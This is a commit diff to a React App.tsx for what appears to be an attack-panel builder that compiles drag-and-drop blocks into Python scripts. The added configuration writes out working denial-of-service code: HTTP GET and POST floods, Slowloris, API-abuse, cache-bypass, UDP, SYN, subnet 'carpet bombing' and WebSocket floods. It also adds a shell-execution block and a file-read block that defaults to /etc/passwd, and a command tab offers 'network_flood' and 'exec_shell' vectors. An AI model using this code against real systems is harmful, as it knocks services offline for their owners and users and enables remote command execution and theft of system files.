Spaces:
Running
Running
Update src/App.tsx
Browse files- src/App.tsx +128 -60
src/App.tsx
CHANGED
|
@@ -20,7 +20,75 @@ import { DndContext, closestCenter, KeyboardSensor, PointerSensor, useSensor, us
|
|
| 20 |
import { arrayMove, SortableContext, sortableKeyboardCoordinates, verticalListSortingStrategy, useSortable } from '@dnd-kit/sortable';
|
| 21 |
import { CSS } from '@dnd-kit/utilities';
|
| 22 |
|
| 23 |
-
const
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 24 |
const { attributes, listeners, setNodeRef, transform, transition } = useSortable({ id });
|
| 25 |
|
| 26 |
const style = {
|
|
@@ -28,21 +96,40 @@ const SortableBlock = ({ id, content, title, desc, onRemove }: any) => {
|
|
| 28 |
transition,
|
| 29 |
};
|
| 30 |
|
|
|
|
|
|
|
|
|
|
| 31 |
return (
|
| 32 |
-
<div ref={setNodeRef} style={style} className="flex
|
| 33 |
-
<div
|
| 34 |
-
<
|
| 35 |
-
|
| 36 |
-
|
| 37 |
-
<div>
|
| 38 |
-
<div className="
|
| 39 |
-
|
| 40 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 41 |
</div>
|
| 42 |
</div>
|
| 43 |
-
<button onClick={() => onRemove(id)} className="text-slate-500 hover:text-red-400 transition-colors p-2 rounded-lg hover:bg-red-400/10">
|
| 44 |
-
<Trash2 size={16} />
|
| 45 |
-
</button>
|
| 46 |
</div>
|
| 47 |
</div>
|
| 48 |
);
|
|
@@ -515,7 +602,7 @@ function BuilderTab() {
|
|
| 515 |
const [payloadsList, setPayloadsList] = useState<any[]>([]);
|
| 516 |
|
| 517 |
// Drag and Drop State
|
| 518 |
-
const [blocks, setBlocks] = useState<{id: string;
|
| 519 |
|
| 520 |
const sensors = useSensors(
|
| 521 |
useSensor(PointerSensor, { activationConstraint: { distance: 5 } }),
|
|
@@ -533,8 +620,16 @@ function BuilderTab() {
|
|
| 533 |
}
|
| 534 |
};
|
| 535 |
|
| 536 |
-
const addBlock = (
|
| 537 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 538 |
};
|
| 539 |
|
| 540 |
const removeBlock = (id: string) => {
|
|
@@ -542,7 +637,10 @@ function BuilderTab() {
|
|
| 542 |
};
|
| 543 |
|
| 544 |
const compileBlocks = () => {
|
| 545 |
-
setResult(blocks.map(b =>
|
|
|
|
|
|
|
|
|
|
| 546 |
};
|
| 547 |
|
| 548 |
useEffect(() => {
|
|
@@ -717,46 +815,12 @@ function BuilderTab() {
|
|
| 717 |
<div className="flex flex-col gap-2">
|
| 718 |
<p className="text-xs text-slate-400 mb-2">Click blocks to add them to your chain.</p>
|
| 719 |
<div className="grid grid-cols-2 gap-2">
|
| 720 |
-
|
| 721 |
-
|
| 722 |
-
<div className="text-
|
| 723 |
-
|
| 724 |
-
<div onClick={() => addBlock('TCP Handshake', 'def exec_socket_tcp_probe(ip, port):\\n import socket, time\\n try:\\n t0 = time.time()\\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\\n s.settimeout(2)\\n s.connect((ip, int(port)))\\n return {"status": "tcp_connected", "latency_ms": round((time.time()-t0)*1000, 2)}\\n except Exception as e:\\n return {"status": "tcp_failed", "detail": str(e)}')} className="cursor-pointer border border-indigo-500/30 bg-indigo-500/10 hover:bg-indigo-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
|
| 725 |
-
<div className="text-xs font-bold text-indigo-300">TCP Handshake</div>
|
| 726 |
-
<div className="text-[10px] text-slate-400 mt-1">Raw socket verification.</div>
|
| 727 |
-
</div>
|
| 728 |
-
|
| 729 |
-
<div onClick={() => addBlock('L7 HTTP GET Flood', 'def exec_http_get_flood(url, duration, threads_count):\\n import threading, time, requests\\n stats = {"sent": 0, "errors": 0}\\n t_end = time.time() + float(duration)\\n def flood_worker():\\n while time.time() < t_end:\\n try:\\n requests.get(url, timeout=2)\\n stats["sent"] += 1\\n except:\\n stats["errors"] += 1\\n threads = [threading.Thread(target=flood_worker) for _ in range(int(threads_count))]\\n for t in threads: t.start()\\n for t in threads: t.join()\\n return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
|
| 730 |
-
<div className="text-xs font-bold text-rose-300">L7 HTTP GET Flood</div>
|
| 731 |
-
<div className="text-[10px] text-slate-400 mt-1">Concurrent URL GET requests.</div>
|
| 732 |
-
</div>
|
| 733 |
-
<div onClick={() => addBlock('L7 HTTP POST Flood', 'def exec_http_post_flood(url, duration, threads_count):\\n import threading, time, requests, os\\n stats = {"sent": 0, "errors": 0}\\n t_end = time.time() + float(duration)\\n def flood_worker():\\n while time.time() < t_end:\\n try:\\n requests.post(url, data=os.urandom(16), timeout=2)\\n stats["sent"] += 1\\n except:\\n stats["errors"] += 1\\n threads = [threading.Thread(target=flood_worker) for _ in range(int(threads_count))]\\n for t in threads: t.start()\\n for t in threads: t.join()\\n return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
|
| 734 |
-
<div className="text-xs font-bold text-rose-300">L7 HTTP POST Flood</div>
|
| 735 |
-
<div className="text-[10px] text-slate-400 mt-1">Concurrent URL POST requests.</div>
|
| 736 |
-
</div>
|
| 737 |
-
|
| 738 |
-
<div onClick={() => addBlock('L7 Slowloris', 'def exec_slowloris(ip, port, duration, threads_count):\\n import socket, threading, time, random\\n stats = {"sent": 0, "errors": 0}\\n t_end = time.time() + float(duration)\\n def slowloris_worker():\\n try:\\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n s.settimeout(4)\\n s.connect((ip, int(port)))\\n s.send(f"GET /?{random.randint(0,2000)} HTTP/1.1\\\\r\\\\n".encode())\\n s.send("User-Agent: Mozilla/5.0\\\\r\\\\n".encode())\\n s.send("Accept-language: en-US,en,q=0.5\\\\r\\\\n".encode())\\n stats["sent"] += 1\\n while time.time() < t_end:\\n s.send(f"X-a: {random.randint(1,5000)}\\\\r\\\\n".encode())\\n time.sleep(10)\\n stats["sent"] += 1\\n except:\\n stats["errors"] += 1\\n threads = [threading.Thread(target=slowloris_worker) for _ in range(int(threads_count))]\\n for t in threads: t.start(); time.sleep(0.05)\\n for t in threads: t.join()\\n return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
|
| 739 |
-
<div className="text-xs font-bold text-rose-300">L7 Slowloris</div>
|
| 740 |
-
<div className="text-[10px] text-slate-400 mt-1">Keeps connections open very slowly.</div>
|
| 741 |
-
</div>
|
| 742 |
-
<div onClick={() => addBlock('L7 API Abuse', 'def exec_api_abuse_flood(url, duration, threads_count):\\n import threading, time, requests, json, random\\n stats = {"sent": 0, "errors": 0}\\n t_end = time.time() + float(duration)\\n def flood_worker():\\n while time.time() < t_end:\\n try:\\n payload = {"query": "test", "id": random.randint(1,99999)}\\n requests.post(url, json=payload, timeout=2)\\n stats["sent"] += 1\\n except:\\n stats["errors"] += 1\\n threads = [threading.Thread(target=flood_worker) for _ in range(int(threads_count))]\\n for t in threads: t.start()\\n for t in threads: t.join()\\n return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
|
| 743 |
-
<div className="text-xs font-bold text-rose-300">L7 API Abuse</div>
|
| 744 |
-
<div className="text-[10px] text-slate-400 mt-1">REST API hammering with JSON.</div>
|
| 745 |
-
</div>
|
| 746 |
-
<div onClick={() => addBlock('L7 Cache Bypass', 'def exec_cache_bypass_flood(url, duration, threads_count):\\n import threading, time, requests, random\\n stats = {"sent": 0, "errors": 0}\\n t_end = time.time() + float(duration)\\n def flood_worker():\\n while time.time() < t_end:\\n try:\\n b_url = url + ("&" if "?" in url else "?") + "cb=" + str(random.random())\\n requests.get(b_url, timeout=2)\\n stats["sent"] += 1\\n except:\\n stats["errors"] += 1\\n threads = [threading.Thread(target=flood_worker) for _ in range(int(threads_count))]\\n for t in threads: t.start()\\n for t in threads: t.join()\\n return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
|
| 747 |
-
<div className="text-xs font-bold text-rose-300">L7 Cache Bypass</div>
|
| 748 |
-
<div className="text-[10px] text-slate-400 mt-1">Randomized strings to hit origin.</div>
|
| 749 |
-
</div>
|
| 750 |
-
|
| 751 |
-
<div onClick={() => addBlock('L4 UDP Flood', 'def exec_udp_flood(ip, port, duration, packet_size):\\n import socket, time, os\\n try:\\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\\n bytes_to_send = os.urandom(int(packet_size))\\n t_end = time.time() + float(duration)\\n sent = 0\\n while time.time() < t_end:\\n s.sendto(bytes_to_send, (ip, int(port)))\\n sent += 1\\n return {"status": "udp_flood_finished", "packets_sent": sent}\\n except Exception as e:\\n return {"status": "udp_flood_failed", "detail": str(e)}')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
|
| 752 |
-
<div className="text-xs font-bold text-rose-300">L4 UDP Flood</div>
|
| 753 |
-
<div className="text-[10px] text-slate-400 mt-1">Raw datagram saturation.</div>
|
| 754 |
-
</div>
|
| 755 |
-
|
| 756 |
-
<div onClick={() => addBlock('L4 TCP Connect', 'def exec_tcp_connect_flood(ip, port, duration, threads_count):\\n import socket, threading, time\\n stats = {"sent": 0, "errors": 0}\\n t_end = time.time() + float(duration)\\n def flood_worker():\\n while time.time() < t_end:\\n try:\\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n s.settimeout(1)\\n s.connect((ip, int(port)))\\n s.close()\\n stats["sent"] += 1\\n except:\\n stats["errors"] += 1\\n threads = [threading.Thread(target=flood_worker) for _ in range(int(threads_count))]\\n for t in threads: t.start()\\n for t in threads: t.join()\\n return stats')} className="cursor-pointer border border-rose-500/30 bg-rose-500/10 hover:bg-rose-500/20 rounded-lg p-2 flex flex-col items-start transition-all">
|
| 757 |
-
<div className="text-xs font-bold text-rose-300">L4 TCP Connect</div>
|
| 758 |
-
<div className="text-[10px] text-slate-400 mt-1">Max rate TCP handshakes.</div>
|
| 759 |
</div>
|
|
|
|
| 760 |
</div>
|
| 761 |
</div>
|
| 762 |
) : (
|
|
@@ -822,7 +886,7 @@ function BuilderTab() {
|
|
| 822 |
<DndContext sensors={sensors} collisionDetection={closestCenter} onDragEnd={handleDragEnd}>
|
| 823 |
<SortableContext items={blocks} strategy={verticalListSortingStrategy}>
|
| 824 |
{blocks.map((block) => (
|
| 825 |
-
<SortableBlock key={block.id} {...block} onRemove={removeBlock} />
|
| 826 |
))}
|
| 827 |
</SortableContext>
|
| 828 |
</DndContext>
|
|
@@ -1237,7 +1301,7 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 1237 |
const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
|
| 1238 |
const requiresFloodArgs = command === 'network_flood';
|
| 1239 |
const requiresPacketSize = command === 'network_flood' && floodType === 'udp_flood';
|
| 1240 |
-
const requiresThreads = command === 'network_flood' && (['http_get_flood', 'http_post_flood', 'slowloris', 'tcp_connect_flood', 'api_abuse_flood', 'cache_bypass_flood'].includes(floodType));
|
| 1241 |
const requiresPorts = command === 'port_scan';
|
| 1242 |
const requiresInterval = command === 'change_poll_interval';
|
| 1243 |
const requiresShell = command === 'exec_shell';
|
|
@@ -1421,15 +1485,19 @@ function CommandsTab({ category }: { category: 'network' | 'system' | 'file' })
|
|
| 1421 |
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono"
|
| 1422 |
>
|
| 1423 |
<optgroup label="L7 Vectors (Application)">
|
| 1424 |
-
<option value="http_get_flood">HTTP GET Flood</option>
|
| 1425 |
-
<option value="http_post_flood">HTTP POST Flood</option>
|
| 1426 |
<option value="slowloris">Slowloris (TCP Exhaustion)</option>
|
|
|
|
| 1427 |
<option value="api_abuse_flood">API Abuse Flood</option>
|
| 1428 |
<option value="cache_bypass_flood">Cache Bypass Flood</option>
|
|
|
|
| 1429 |
</optgroup>
|
| 1430 |
<optgroup label="L4 Vectors (Transport)">
|
| 1431 |
<option value="udp_flood">UDP Raw Datagram Flood</option>
|
| 1432 |
<option value="tcp_connect_flood">TCP Connect Flood</option>
|
|
|
|
|
|
|
| 1433 |
</optgroup>
|
| 1434 |
</select>
|
| 1435 |
</div>
|
|
|
|
| 20 |
import { arrayMove, SortableContext, sortableKeyboardCoordinates, verticalListSortingStrategy, useSortable } from '@dnd-kit/sortable';
|
| 21 |
import { CSS } from '@dnd-kit/utilities';
|
| 22 |
|
| 23 |
+
const BLOCK_CONFIGS: Record<string, any> = {
|
| 24 |
+
http_probe: {
|
| 25 |
+
title: 'HTTP GET Probe', color: 'bg-indigo-600',
|
| 26 |
+
fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}],
|
| 27 |
+
generator: (p: any) => `def exec_fetch_http_test(ip, port):\n import requests, time\n try:\n t0 = time.time()\n res = requests.get(f"http://{ip}:{port}/", timeout=3)\n return {"status": f"HTTP_{res.status_code}"}\n except Exception as e:\n return {"error": str(e)}\n\nprint(exec_fetch_http_test("${p.ip}", ${p.port}))`
|
| 28 |
+
},
|
| 29 |
+
tcp_handshake: {
|
| 30 |
+
title: 'TCP Handshake', color: 'bg-indigo-600',
|
| 31 |
+
fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}],
|
| 32 |
+
generator: (p: any) => `def exec_tcp_probe(ip, port):\n import socket, time\n try:\n t0 = time.time()\n with socket.socket(socket.AF_INET, socket.STREAM) as s:\n s.settimeout(2); s.connect((ip, int(port)))\n return {"status": "tcp_connected"}\n except Exception as e:\n return {"error": str(e)}\n\nprint(exec_tcp_probe("${p.ip}", ${p.port}))`
|
| 33 |
+
},
|
| 34 |
+
exec_shell: {
|
| 35 |
+
title: 'Execute Shell', color: 'bg-emerald-600',
|
| 36 |
+
fields: [{key: 'cmd', label: 'Command', default: 'whoami'}],
|
| 37 |
+
generator: (p: any) => `def exec_shell(cmd):\n import subprocess\n try:\n return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode('utf-8')\n except Exception as e:\n return str(e)\n\nprint(exec_shell("${p.cmd}"))`
|
| 38 |
+
},
|
| 39 |
+
ping: {
|
| 40 |
+
title: 'ICMP Ping', color: 'bg-indigo-600',
|
| 41 |
+
fields: [{key: 'host', label: 'Target Host', default: 'google.com'}],
|
| 42 |
+
generator: (p: any) => `def icmp_ping(host):\n import subprocess, platform\n cmd = f"ping -n 3 {host}" if platform.system() == "Windows" else f"ping -c 3 {host}"\n try:\n return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT).decode('utf-8')\n except Exception as e:\n return str(e)\n\nprint(icmp_ping("${p.host}"))`
|
| 43 |
+
},
|
| 44 |
+
read_file: {
|
| 45 |
+
title: 'Read File', color: 'bg-blue-600',
|
| 46 |
+
fields: [{key: 'path', label: 'File Path', default: '/etc/passwd'}],
|
| 47 |
+
generator: (p: any) => `def read_file(path):\n try:\n with open(path, 'r') as f: return {"content": f.read(4000)}\n except Exception as e:\n return {"error": str(e)}\n\nprint(read_file("${p.path}"))`
|
| 48 |
+
},
|
| 49 |
+
http_get_flood: {
|
| 50 |
+
title: 'L7 HTTP GET Flood', color: 'bg-rose-600',
|
| 51 |
+
fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
|
| 52 |
+
generator: (p: any) => `def http_get_flood(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.get(url, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(http_get_flood("${p.url}", ${p.duration}, ${p.threads}))`
|
| 53 |
+
},
|
| 54 |
+
http_post_flood: {
|
| 55 |
+
title: 'L7 HTTP POST Flood', color: 'bg-rose-600',
|
| 56 |
+
fields: [{key: 'url', label: 'Target URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
|
| 57 |
+
generator: (p: any) => `def http_post_flood(url, duration, threads_count):\n import threading, time, requests, os\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.post(url, data=os.urandom(16), timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(http_post_flood("${p.url}", ${p.duration}, ${p.threads}))`
|
| 58 |
+
},
|
| 59 |
+
slowloris: {
|
| 60 |
+
title: 'L7 Slowloris', color: 'bg-rose-600',
|
| 61 |
+
fields: [{key: 'ip', label: 'IP Address', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}],
|
| 62 |
+
generator: (p: any) => `def slowloris(ip, port, duration, threads_count):\n import socket, threading, time, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(4); s.connect((ip, int(port)))\n s.send(f"GET /?{random.randint(0,2000)} HTTP/1.1\\r\\nUser-Agent: Mozilla/5.0\\r\\nAccept-language: en-US,en,q=0.5\\r\\n".encode())\n stats["sent"] += 1\n while time.time() < t_end:\n s.send(f"X-a: {random.randint(1,5000)}\\r\\n".encode())\n time.sleep(10); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start(); time.sleep(0.05)\n for t in threads: t.join()\n return stats\n\nprint(slowloris("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
|
| 63 |
+
},
|
| 64 |
+
api_abuse_flood: {
|
| 65 |
+
title: 'L7 API Abuse', color: 'bg-rose-600',
|
| 66 |
+
fields: [{key: 'url', label: 'API Endpoint', default: 'http://127.0.0.1/graphql'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
|
| 67 |
+
generator: (p: any) => `def api_abuse_flood(url, duration, threads_count):\n import threading, time, requests, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.post(url, json={"query": "test", "id": random.randint(1,99999)}, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(api_abuse_flood("${p.url}", ${p.duration}, ${p.threads}))`
|
| 68 |
+
},
|
| 69 |
+
udp_flood: {
|
| 70 |
+
title: 'L4 UDP Flood', color: 'bg-orange-600',
|
| 71 |
+
fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}, {key: 'size', label: 'Packet Size', default: '1024'}],
|
| 72 |
+
generator: (p: any) => `def udp_flood(ip, port, duration, threads_count, packet_size):\n import socket, time, os, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n payload = os.urandom(int(packet_size))\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n except: return\n while time.time() < t_end:\n try: s.sendto(payload, (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(udp_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}, ${p.size}))`
|
| 73 |
+
},
|
| 74 |
+
syn_flood: {
|
| 75 |
+
title: 'L4 SYN Flood (Requires Root)', color: 'bg-orange-600',
|
| 76 |
+
fields: [{key: 'ip', label: 'Target IP', default: '127.0.0.1'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
|
| 77 |
+
generator: (p: any) => `def syn_flood(ip, port, duration, threads_count):\n import socket, time, threading\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP); s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n except: stats["errors"] += 1; return\n while time.time() < t_end:\n try: s.sendto(b"SYN_DUMMY_PAYLOAD", (ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(syn_flood("${p.ip}", ${p.port}, ${p.duration}, ${p.threads}))`
|
| 78 |
+
},
|
| 79 |
+
carpet_bombing: {
|
| 80 |
+
title: 'L4 Carpet Bombing', color: 'bg-orange-600',
|
| 81 |
+
fields: [{key: 'subnet', label: 'Subnet (e.g. 192.168.1.)', default: '192.168.1.'}, {key: 'port', label: 'Port', default: '80'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Threads', default: '10'}],
|
| 82 |
+
generator: (p: any) => `def carpet_bombing(subnet, port, duration, threads_count):\n import socket, time, os, threading, random\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n payload = os.urandom(512)\n def worker():\n try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n except: return\n while time.time() < t_end:\n target_ip = subnet + str(random.randint(1, 254))\n try: s.sendto(payload, (target_ip, int(port))); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(carpet_bombing("${p.subnet}", ${p.port}, ${p.duration}, ${p.threads}))`
|
| 83 |
+
},
|
| 84 |
+
websocket_flood: {
|
| 85 |
+
title: 'L7 WebSocket Abuse', color: 'bg-rose-600',
|
| 86 |
+
fields: [{key: 'url', label: 'WS/HTTP URL', default: 'http://127.0.0.1/'}, {key: 'duration', label: 'Duration (s)', default: '5'}, {key: 'threads', label: 'Connections', default: '10'}],
|
| 87 |
+
generator: (p: any) => `def websocket_flood(url, duration, threads_count):\n import threading, time, requests\n stats = {"sent": 0, "errors": 0}\n t_end = time.time() + float(duration)\n def worker():\n while time.time() < t_end:\n try: requests.get(url, headers={"Connection": "Upgrade", "Upgrade": "websocket"}, timeout=2); stats["sent"] += 1\n except: stats["errors"] += 1\n threads = [threading.Thread(target=worker) for _ in range(int(threads_count))]\n for t in threads: t.start()\n for t in threads: t.join()\n return stats\n\nprint(websocket_flood("${p.url}", ${p.duration}, ${p.threads}))`
|
| 88 |
+
}
|
| 89 |
+
};
|
| 90 |
+
|
| 91 |
+
const SortableBlock = ({ id, type, params, onUpdate, onRemove }: any) => {
|
| 92 |
const { attributes, listeners, setNodeRef, transform, transition } = useSortable({ id });
|
| 93 |
|
| 94 |
const style = {
|
|
|
|
| 96 |
transition,
|
| 97 |
};
|
| 98 |
|
| 99 |
+
const config = BLOCK_CONFIGS[type];
|
| 100 |
+
if (!config) return null;
|
| 101 |
+
|
| 102 |
return (
|
| 103 |
+
<div ref={setNodeRef} style={style} className="flex flex-col mb-4 group relative">
|
| 104 |
+
<div className="flex border-l-[6px] border-l-transparent" style={{ borderLeftColor: config.color.replace('bg-', 'var(--').replace('-600', '-500)') /* fake color vars aren't perfectly mapped, we use tailwind classes directly below */ }}>
|
| 105 |
+
<div {...attributes} {...listeners} className={cn("cursor-grab active:cursor-grabbing p-2 rounded-l-md text-white flex items-center shadow-md", config.color)}>
|
| 106 |
+
<GripVertical size={16} />
|
| 107 |
+
</div>
|
| 108 |
+
<div className="flex-1 bg-slate-800 border border-slate-700/50 rounded-r-xl p-3 shadow-md transition-all">
|
| 109 |
+
<div className="flex justify-between items-center mb-3">
|
| 110 |
+
<div className="flex items-center gap-2">
|
| 111 |
+
<span className={cn("inline-block w-2.5 h-2.5 rounded-full shadow-sm", config.color)} />
|
| 112 |
+
<span className="text-sm font-bold text-slate-100">{config.title}</span>
|
| 113 |
+
</div>
|
| 114 |
+
<button onClick={() => onRemove(id)} className="text-slate-500 hover:text-red-400 transition-colors p-1.5 rounded-md hover:bg-red-400/10">
|
| 115 |
+
<Trash2 size={14} />
|
| 116 |
+
</button>
|
| 117 |
+
</div>
|
| 118 |
+
|
| 119 |
+
<div className="bg-slate-900/50 rounded-lg p-3 grid gap-3">
|
| 120 |
+
{config.fields.map((f: any) => (
|
| 121 |
+
<div key={f.key} className="flex items-center gap-3">
|
| 122 |
+
<label className="text-xs font-medium text-slate-400 w-24 text-right shrink-0">{f.label}</label>
|
| 123 |
+
<input
|
| 124 |
+
type="text"
|
| 125 |
+
value={params[f.key] || ''}
|
| 126 |
+
onChange={(e) => onUpdate(id, f.key, e.target.value)}
|
| 127 |
+
className="flex-1 bg-black/40 border border-slate-700 rounded px-2.5 py-1 text-xs text-emerald-300 focus:outline-none focus:border-indigo-500 font-mono shadow-inner"
|
| 128 |
+
/>
|
| 129 |
+
</div>
|
| 130 |
+
))}
|
| 131 |
</div>
|
| 132 |
</div>
|
|
|
|
|
|
|
|
|
|
| 133 |
</div>
|
| 134 |
</div>
|
| 135 |
);
|
|
|
|
| 602 |
const [payloadsList, setPayloadsList] = useState<any[]>([]);
|
| 603 |
|
| 604 |
// Drag and Drop State
|
| 605 |
+
const [blocks, setBlocks] = useState<{id: string; type: string; params: any}[]>([]);
|
| 606 |
|
| 607 |
const sensors = useSensors(
|
| 608 |
useSensor(PointerSensor, { activationConstraint: { distance: 5 } }),
|
|
|
|
| 620 |
}
|
| 621 |
};
|
| 622 |
|
| 623 |
+
const addBlock = (type: string) => {
|
| 624 |
+
const config = BLOCK_CONFIGS[type];
|
| 625 |
+
if (!config) return;
|
| 626 |
+
const initialParams: any = {};
|
| 627 |
+
for (const f of config.fields) initialParams[f.key] = f.default;
|
| 628 |
+
setBlocks([...blocks, { id: crypto.randomUUID(), type, params: initialParams }]);
|
| 629 |
+
};
|
| 630 |
+
|
| 631 |
+
const updateBlockParams = (id: string, key: string, value: string) => {
|
| 632 |
+
setBlocks(blocks.map(b => b.id === id ? { ...b, params: { ...b.params, [key]: value } } : b));
|
| 633 |
};
|
| 634 |
|
| 635 |
const removeBlock = (id: string) => {
|
|
|
|
| 637 |
};
|
| 638 |
|
| 639 |
const compileBlocks = () => {
|
| 640 |
+
setResult(blocks.map(b => {
|
| 641 |
+
const config = BLOCK_CONFIGS[b.type];
|
| 642 |
+
return config ? config.generator(b.params) : '';
|
| 643 |
+
}).join('\\n\\n'));
|
| 644 |
};
|
| 645 |
|
| 646 |
useEffect(() => {
|
|
|
|
| 815 |
<div className="flex flex-col gap-2">
|
| 816 |
<p className="text-xs text-slate-400 mb-2">Click blocks to add them to your chain.</p>
|
| 817 |
<div className="grid grid-cols-2 gap-2">
|
| 818 |
+
{Object.entries(BLOCK_CONFIGS).map(([type, config]) => (
|
| 819 |
+
<div key={type} onClick={() => addBlock(type)} className={cn("cursor-pointer border bg-black/10 hover:bg-black/20 rounded-lg p-2 flex flex-col items-start transition-all", config.color.replace('bg-', 'border-').replace('-600', '-500/30'))}>
|
| 820 |
+
<div className={cn("text-xs font-bold", config.color.replace('bg-', 'text-').replace('-600', '-300'))}>{config.title}</div>
|
| 821 |
+
<div className="text-[10px] text-slate-400 mt-1">Add to execution chain.</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 822 |
</div>
|
| 823 |
+
))}
|
| 824 |
</div>
|
| 825 |
</div>
|
| 826 |
